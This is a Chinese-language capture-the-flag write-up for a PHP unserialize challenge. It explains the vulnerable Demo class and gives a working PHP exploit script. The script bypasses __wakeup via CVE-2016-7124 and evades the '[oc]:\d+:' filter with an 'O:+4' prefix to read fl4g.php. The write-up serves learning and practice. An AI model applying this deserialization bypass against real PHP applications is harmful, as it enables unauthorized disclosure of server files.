看题目,应该是php反序列化
首先看下代码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
关键点有四处,
__construct
方法在对象创建时调用,覆盖私有变量$file
__destruct
方法在对象被销毁时自动调用,此段代码中会将$this->file
的内容高亮显示。__wakeup
方法在unserialize()时被调用,会覆盖$file
为index.php
preg_match('/[oc]:\d+:/i', $var)
正则匹配传入的$var
的内容,开头是o或c、匹配一个或多个数字、不区分大小写。
首先是利用__construct
将$file
覆盖为fl4g.php
,new对象时传入参数即可,然后使用CVE-2016-7124
绕过__wakeup
方法,最后,再利用序列化的一个小特性:
O:+4:"test":1:{s:1:"a";s:3:"aaa";}
O:4:"test":1:{s:1:"a";s:3:"aaa";}
这两个都可以被序列化成功,并且结果相同。
exploit:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a= new Demo('fl4g.php');
$b=serialize($a);
$b=str_replace('O:4','O:+4',$b);
$b=str_replace('1:{','2:{',$b);
echo base64_encode($b);
?>
之所以要在php中完成替换,base64编码等操作,是因为$file
是私有变量,在序列化后两边会加上%00
,如果直接拿去网页base64编码会丢失,所以直接一起弄了。